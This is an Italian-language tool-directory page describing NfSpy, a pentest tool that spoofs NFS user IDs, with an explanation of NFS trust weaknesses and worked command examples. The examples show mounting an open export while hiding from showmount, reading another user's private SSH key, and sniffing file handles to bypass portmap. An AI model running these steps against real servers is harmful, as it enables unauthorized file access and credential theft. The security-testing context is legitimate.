Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/bonsaiviking/nfspy
Escalation di PrivilegiExploitRaccolta InformazioniSicurezza di RetePenetration TestingAutenticazioneRed Teaming
GitHubbonsaiviking/nfspy

NfSpy

Client NFS per lo spoofing dell'ID

Vedi Repository
298566 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

NfSpy - un client NFS che falsifica gli ID

di Daniel Miller

NfSpy è una libreria Python per automatizzare la falsificazione delle credenziali NFS quando si monta una condivisione NFS. Sono inclusi due programmi client:

  • nfspy utilizza la libreria Filesystem in Userspace (FUSE) per montare una condivisione NFS in Linux. Ciò consente l'uso di qualsiasi programma normale di ricerca e manipolazione di file come grep e find per esplorare l'esportazione NFS.

  • nfspysh è una shell interattiva simile a ftp per esplorare le esportazioni NFS. Non richiede la libreria FUSE, quindi può funzionare su piattaforme non Linux.

Vulnerabilità sfruttata

NFS prima della versione 4 si basa sulle relazioni di fiducia tra host per l'autenticazione. Il server NFS si fida di qualsiasi macchina client per autenticare gli utenti e assegnare gli stessi ID utente (UID) utilizzati dal filesystem condiviso. Questo funziona in domini NIS, NIS+ e LDAP, ad esempio, ma solo se si sa che la macchina client non è compromessa o sta falsificando la propria identità. Questo perché l'unica autenticazione nel protocollo NFS è il passaggio di UID e GID (ID gruppo). Ci sono alcune cose che si possono fare per migliorare la sicurezza di NFS, ma molte di esse sono soluzioni incomplete, e anche con tutte e tre elencate qui, potrebbe essere ancora possibile aggirare le misure di sicurezza.

Squash root

Il server o la condivisione ("export" nel gergo NFS) può essere configurata root_squash, il che significa che qualsiasi richiesta in arrivo che dichiara di essere UID o GID 0 (root) verrà trattata come l'utente nobody, o equivalente sul sistema. Ciò non impedisce a un aggressore di falsificare qualsiasi altra combinazione UID/GID, ma proteggerà le informazioni e le configurazioni più sensibili sull'esportazione.

nfs_portmon

Un'altra impostazione che può essere abilitata è nfs_portmon, che nega le richieste provenienti da porte sorgente al di fuori dell'intervallo 513-1024. Poiché solo root può (solitamente) allocare queste porte, ciò impedisce a un utente normale su una macchina affidabile di scrivere e utilizzare il proprio client NFS che falsifica UID/GID. Non fa nulla per impedire a un host malintenzionato, a un utente con permessi su, o a una macchina compromessa a livello root di fare la stessa cosa.

Restrizioni di esportazione

Le condivisioni/esportazioni possono essere controllate in modo che solo determinate macchine possano accedervi. Queste liste di controllo degli accessi possono essere costituite da:

  • Indirizzi IP (es. 192.168.1.34)
  • Prefissi IP (es. @192.168.1)
  • Nomi host (es. server1.mydom.nis)
  • Liste di host (es. @trusted_hosts)
  • "Everyone"

La configurazione migliore sarebbe utilizzare una lista di host, poiché interrogare il demone NFS fornirà solo il nome della lista, non quali indirizzi o nomi contiene. Al secondo posto ci sarebbero gli indirizzi IP o i nomi host, poiché sono più difficili da falsificare. I prefissi IP e "everyone" sono indicatori di insicurezza, poiché vi è poca o nessuna restrizione su quali indirizzi possano connettersi.

Usare NfSpy

Un elenco di opzioni può essere visualizzato eseguendo

root@kitploit:~
nfspy --help

Esempio

C'è un server NFS su 192.168.1.124.

root@kitploit:~
$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)

Monta la condivisione. Usare sudo ti consente di vincolarti a una porta privilegiata, e l'opzione allow_other consente a qualsiasi utente di utilizzare il filesystem. L'altra nuova opzione qui è "hide", che "smonta" immediatamente la condivisione sul server, ma mantiene l'handle del file ottenuto. Questo nasconde la tua presenza a chiunque utilizzi showmount -a

root@kitploit:~
$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt

Goditi la tua nuova libertà!

root@kitploit:~
$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>

Per smontare, usa fusermount:

root@kitploit:~
$ sudo fusermount -u /mnt

Esempio avanzato

C'è un server NFS su 192.168.1.124. Portmap è bloccato, quindi non puoi ottenere un elenco di condivisioni, ma puoi sniffare il traffico di rete.

root@kitploit:~
$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00

^C3 packets captured

Ora usa le opzioni di montaggio dirhandle e getroot per evitare di usare il demone mount, e usa l'opzione nfsport per evitare il portmapper, risalendo l'albero delle directory fino alla radice dell'esportazione.

root@kitploit:~
$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt

Nota che non abbiamo fornito un percorso da montare, poiché tutto ciò che sappiamo è l'handle del file NFS. Perché funzioni, l'handle deve essere di una directory, non di un file, e devi lavorare rapidamente o l'handle diventerà obsoleto.

Il programma tshark fa parte del progetto Wireshark. Anche il comune programma tcpdump ha la capacità di decodificare gli handle dei file NFS con l'opzione -u:

root@kitploit:~
sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]

Questi handle di file sono separati da due punti di 4 byte, quindi dovrai riempirli con zeri da solo; NfSpy rimuoverà semplicemente i due punti, il che è sbagliato.

Usare nfspysh

nfspysh accetta lo stesso insieme di opzioni di base nello stesso formato di nfspy, quindi il tutorial sopra dovrebbe funzionare bene. L'elenco dei comandi può essere visualizzato con il comando "help".

root@kitploit:~
$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775  1000  1000       4096 2013-04-13 23:20:37 .
040775  1000  1000       4096 2013-04-13 23:20:37 ..
040775  1000  1000       4096 2013-04-11 06:36:48 public
040775  1000  1000       4096 2013-04-13 23:26:40 more
040700     0  1000       4096 2013-04-11 06:39:12 secrets
100666  1000  1000          5 2013-04-13 23:28:02 README.md
120777  1000  1000         21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
    cd
    chmod
    chown
    exit
    get
    help
    lcd
    lpwd
    ls
    mkdir
    mv
    put
    pwd
    rm
    rmdir
    umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]

        Retrieve <filename> and save to <localname>. If no <localname> is given,
        defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.

BUG

  • L'accesso in scrittura è in versione beta. Ha funzionato nei miei test su alcuni sistemi, ma potrebbe richiedere ulteriori test. Per questo motivo, NfSpy per impostazione predefinita monta in sola lettura (ro). Specifica l'opzione di montaggio rw per cambiare questa impostazione. (nfspysh non dispone di una modalità di sola lettura. Procedi con cautela!)

  • NfSpy non funziona con i servizi standard lockd e statd, il che potrebbe causare problemi durante la scrittura su file. Tuttavia, per la sola lettura e per la maggior parte degli usi malvagi per cui è stato progettato, questo non dovrebbe essere un problema.

  • NfSpy attualmente supporta solo NFSv3. Le versioni future potrebbero scegliere intelligentemente una versione NFS.

Scarica lo strumento